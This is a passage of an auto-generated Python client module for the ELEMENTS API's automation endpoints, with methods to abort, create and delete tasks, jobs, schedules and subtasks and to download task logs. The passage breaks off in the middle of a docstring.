# coding: utf-8 """ ELEMENTS API The version of the OpenAPI document: 2 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from elements_sdk.api_client import ApiClient from elements_sdk.exceptions import ( ApiTypeError, ApiValueError ) class AutomationApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def abort_task(self, id, **kwargs): # noqa: E501 """abort_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.abort_task(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.abort_task_with_http_info(id, **kwargs) # noqa: E501 def abort_task_with_http_info(self, id, **kwargs): # noqa: E501 """abort_task # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.abort_task_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method abort_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `abort_task`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}/abort', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def create_job(self, job, **kwargs): # noqa: E501 """create_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_job(job, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Job job: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Job If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.create_job_with_http_info(job, **kwargs) # noqa: E501 def create_job_with_http_info(self, job, **kwargs): # noqa: E501 """create_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_job_with_http_info(job, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Job job: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Job, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method create_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'job' is set if self.api_client.client_side_validation and ('job' not in local_var_params or # noqa: E501 local_var_params['job'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `job` when calling `create_job`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'job' in local_var_params: body_params = local_var_params['job'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Job', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def create_schedule(self, schedule, **kwargs): # noqa: E501 """create_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_schedule(schedule, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Schedule schedule: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Schedule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.create_schedule_with_http_info(schedule, **kwargs) # noqa: E501 def create_schedule_with_http_info(self, schedule, **kwargs): # noqa: E501 """create_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_schedule_with_http_info(schedule, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Schedule schedule: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Schedule, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['schedule'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method create_schedule" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'schedule' is set if self.api_client.client_side_validation and ('schedule' not in local_var_params or # noqa: E501 local_var_params['schedule'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `schedule` when calling `create_schedule`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'schedule' in local_var_params: body_params = local_var_params['schedule'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Schedule', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def create_subtask(self, subtask, **kwargs): # noqa: E501 """create_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_subtask(subtask, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Subtask subtask: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Subtask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.create_subtask_with_http_info(subtask, **kwargs) # noqa: E501 def create_subtask_with_http_info(self, subtask, **kwargs): # noqa: E501 """create_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_subtask_with_http_info(subtask, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param Subtask subtask: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Subtask, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['subtask'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method create_subtask" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'subtask' in local_var_params: body_params = local_var_params['subtask'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Subtask', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_finished_tasks(self, **kwargs): # noqa: E501 """delete_finished_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_finished_tasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_finished_tasks_with_http_info(**kwargs) # noqa: E501 def delete_finished_tasks_with_http_info(self, **kwargs): # noqa: E501 """delete_finished_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_finished_tasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_finished_tasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/finished', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_job(self, id, **kwargs): # noqa: E501 """delete_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_job(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_job_with_http_info(id, **kwargs) # noqa: E501 def delete_job_with_http_info(self, id, **kwargs): # noqa: E501 """delete_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_job_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_schedule(self, id, **kwargs): # noqa: E501 """delete_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_schedule(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_schedule_with_http_info(id, **kwargs) # noqa: E501 def delete_schedule_with_http_info(self, id, **kwargs): # noqa: E501 """delete_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_schedule_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_schedule" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_schedule`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_subtask(self, id, **kwargs): # noqa: E501 """delete_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_subtask(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_subtask_with_http_info(id, **kwargs) # noqa: E501 def delete_subtask_with_http_info(self, id, **kwargs): # noqa: E501 """delete_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_subtask_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_subtask" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_subtask`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_task(self, id, **kwargs): # noqa: E501 """delete_task # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_task(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_task_with_http_info(id, **kwargs) # noqa: E501 def delete_task_with_http_info(self, id, **kwargs): # noqa: E501 """delete_task # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_task_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_task`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def download_all_task_logs(self, **kwargs): # noqa: E501 """download_all_task_logs # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_all_task_logs(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.download_all_task_logs_with_http_info(**kwargs) # noqa: E501 def download_all_task_logs_with_http_info(self, **kwargs): # noqa: E501 """download_all_task_logs # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_all_task_logs_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job_instance', 'job_instance__in', 'subtask', 'state', 'state__in', 'id', 'id__in', 'name', 'task_name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method download_all_task_logs" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job_instance' in local_var_params and local_var_params['job_instance'] is not None: # noqa: E501 query_params.append(('job_instance', local_var_params['job_instance'])) # noqa: E501 if 'job_instance__in' in local_var_params and local_var_params['job_instance__in'] is not None: # noqa: E501 query_params.append(('job_instance__in', local_var_params['job_instance__in'])) # noqa: E501 if 'subtask' in local_var_params and local_var_params['subtask'] is not None: # noqa: E501 query_params.append(('subtask', local_var_params['subtask'])) # noqa: E501 if 'state' in local_var_params and local_var_params['state'] is not None: # noqa: E501 query_params.append(('state', local_var_params['state'])) # noqa: E501 if 'state__in' in local_var_params and local_var_params['state__in'] is not None: # noqa: E501 query_params.append(('state__in', local_var_params['state__in'])) # noqa: E501 if 'id' in local_var_params and local_var_params['id'] is not None: # noqa: E501 query_params.append(('id', local_var_params['id'])) # noqa: E501 if 'id__in' in local_var_params and local_var_params['id__in'] is not None: # noqa: E501 query_params.append(('id__in', local_var_params['id__in'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'task_name' in local_var_params and local_var_params['task_name'] is not None: # noqa: E501 query_params.append(('task_name', local_var_params['task_name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/logs/download', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def download_task_log(self, id, **kwargs): # noqa: E501 """download_task_log # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_task_log(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.download_task_log_with_http_info(id, **kwargs) # noqa: E501 def download_task_log_with_http_info(self, id, **kwargs): # noqa: E501 """download_task_log # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_task_log_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a 